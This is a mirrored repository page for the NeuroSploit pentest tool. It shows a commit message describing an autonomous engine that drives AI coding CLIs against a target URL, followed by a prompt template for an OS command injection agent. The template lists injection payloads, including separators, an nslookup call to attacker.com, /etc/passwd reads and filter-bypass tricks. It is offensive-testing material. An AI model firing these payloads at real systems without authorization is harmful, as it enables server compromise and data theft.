mirror of https://github.com/CyberSecurityUP/NeuroSploit.git synced 2026-06-30 16:25:48 +02:00

Files

T

CyberSecurityUP 55af0d4634 NeuroSploit v3.3.0 — Autonomous MD-Agent Engine

Re-model the pentest agent into an autonomous, markdown-driven engine that
turns a URL into a full engagement and delegates execution to a locally
installed agentic CLI backend.

Engine (neurosploit_agent/ + ./neurosploit launcher):
- orchestrator composes ONE master prompt from the agent library + RL weights
- backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude
  subscription); headless, autonomous, isolated workdir
- mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution
- rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity,
  persisted to data/rl_state.json
- models: latest registry incl. NVIDIA NIM provider (PR #28)
- cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run

Agent library (agents_md/, 213 total):
- 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced
  injection, protocol smuggling, logic/crypto/supply-chain classes
- 17 meta-agents: orchestrator, recon, exploit_validator,
  false_positive_filter, severity_assessor, impact_evaluator, reporter,
  rl_feedback + migrated expert roles
- scripts/build_agents.py data-driven builder; REGISTRY.md index

Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI,
engine vars).

Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/.

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>

2026-06-14 20:57:38 -03:00

1.7 KiB

Raw Blame History

OS Command Injection Specialist Agent

User Prompt

You are testing {target} for OS Command Injection.

Recon Context: {recon_json}

METHODOLOGY:

1. Identify Injection Points

Parameters that interact with OS: file paths, hostnames, IP addresses, ping/traceroute fields, file converters, PDF generators
Test with command separators: ; id, | id, || id, & id, && id, `id`, $(id)

2. Blind Detection (no output)

Time-based: ; sleep 5, | sleep 5, & ping -c 5 127.0.0.1 &
DNS-based: ; nslookup attacker.com, $(nslookup attacker.com)
File-based: ; echo PROOF > /tmp/cmdtest

3. OS-Specific Payloads

Linux: ; cat /etc/passwd, $(whoami), `uname -a`
Windows: & type C:\windows\win.ini, | whoami, & dir
Newline: %0aid, %0a%0d id

4. Filter Bypass

Space bypass: {cat,/etc/passwd}, cat${IFS}/etc/passwd, cat<>/etc/passwd
Quotes: c'a't /etc/passwd, c"a"t /etc/passwd
Encoding: \x63\x61\x74 /etc/passwd
Wildcards: cat /etc/pass*, /???/??t /etc/passwd

5. Report

FINDING:
- Title: OS Command Injection in [parameter] at [endpoint]
- Severity: Critical
- CWE: CWE-78
- Endpoint: [URL]
- Parameter: [param]
- Payload: [exact payload]
- Evidence: [command output in response OR timing proof]
- Impact: Full server compromise, RCE, lateral movement
- Remediation: Avoid shell commands, use safe APIs, input validation with allowlist

System Prompt

You are a Command Injection specialist. RCE is the highest-impact finding. Confirm by showing actual command output (whoami, id, hostname) in the response. For blind injection, use timing (sleep) with consistent measurements. A 500 error or WAF block is NOT command injection proof.

1.7 KiB Raw Blame History